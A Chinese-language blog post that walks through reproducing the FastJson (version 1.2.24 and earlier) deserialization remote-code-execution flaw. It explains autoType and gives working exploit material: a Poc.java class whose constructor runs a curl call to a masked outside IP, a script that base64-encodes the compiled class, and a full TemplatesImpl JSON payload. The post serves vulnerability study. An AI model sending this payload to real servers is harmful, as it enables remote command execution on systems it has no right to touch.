Fork me on GitHub

FastJson反序列化漏洞

参考文献:https://kevien.github.io/2018/06/18/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E(%E7%BB%AD)/
https://paper.seebug.org/636/
http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/4686.html
jar包下载:https://mvnrepository.com/artifact/com.alibaba/fastjson/1.2.47

Fastjson概念

Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象

一个栗子

序列化
PS:需导入fastjson.jar

  • User.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    package fastjsondemo;
    import java.io.IOException;
    public class User {
    public String Username;
    private String password ;
    public String getUsername() {
    return Username;
    }
    public void setUsername(String username) {
    Username = username;
    }
    public String getPassword() {
    return password;
    }
    public void setPassword(String password) {
    this.password = password;
    }
    public User() throws IOException{
    Runtime.getRuntime().exec("calc.exe");
    }
    }
  • Test1.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    package fastjsondemo;

    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.serializer.SerializerFeature;

    public class Test1 {
    public static void main(String[] args){
    User user = new User();
    user.setUsername("admin");
    user.setPassword("123456");
    String entity1= JSON.toJSONString(user);
    System.out.println(entity1);

    String entity2 = JSON.toJSONString(user,SerializerFeature.WriteClassName);
    System.out.println(entity2);
    }
    }


反序列化
FastJson中的 parse()parseObject()方法都可以用来将JSON字符串反序列化成Java对象。但是 parseObject()会额外的将Java对象转为 JSONObject对象,即JSON.toJSON()parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject()在处理过程中会调用反序列化目标类的所有 settergetter方法。

1
2
3
4
5
6
String json1="{\"Username\":\"root\",\"password\":\"123456\"}";
String json2="{\"@type\":\"fastjsondemo.User\",\"Username\":\"root\",\"password\":\"123456\"}";
Object obj = JSON.parseObject(json1,User.class);
System.out.println(obj);
Object obj1 = JSON.parseObject(json2,User.class);
System.out.println(obj1);


PS:json反序列化时会自动调用无参构造器里的方法,导致计算器弹出
password字段设置的是私有属性,FastJson无权直接去反序列化私有字段。

复现fastjson 反序列化导致任意命令执行漏洞

1
version: FastJson<=1.2.24

环境搭建什么的就不说了,按照大佬给的步骤就行了

  • 这是一个web应用,访问返回“Hello world”。正常POST一个json,目标会提取json对象中的name和age拼接成一句话返回:

漏洞原理:

  • 原理
    fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性值。而JDK自带的类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中有一个私有属性_bytecodes,其部分方法会执行这个值中包含的Java字节码。
    想要使用TemplatesImpl_bytecodes属性执行任意命令,有几个条件:
    ①目标网站使用fastjson库解析json
    ②解析时设置了Feature.SupportNonPublicField,否则不支持传入私有属性
    ③目标使用的jdk中存在TemplatesImpl
  • 调用链(偷大佬的图)

    利用方式
  • poc.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import java.io.IOException;

    public class Poc extends AbstractTranslet { #强制类型转化为AbstractTranslet类

    public Poc() throws IOException {
    Runtime.getRuntime().exec("curl http://120.xxx.xxx.xxx:8989");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
    public static void main(String[] args) throws Exception {
    Poc t = new Poc();
    }
    }
  • 执行命令javac Poc.java

  • 1.py(将Poc.class里面的内容base64加密(FastJson提取byte[]数组字段值时会进行Base64解码,所以构造payload时需要对 _bytecodes 进行Base64处理))

    1
    2
    3
    4
    5
    6
    7
    import base64
    fin = open(r"Poc.class", "rb")
    fout = open(r"en.txt", "w")
    s = base64.encodestring(fin.read()).replace("\n", "")
    fout.write(s)
    fin.close()
    fout.close()
  • payload

    1
    {"name":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"},age:12}

-------------本文结束感谢您的阅读-------------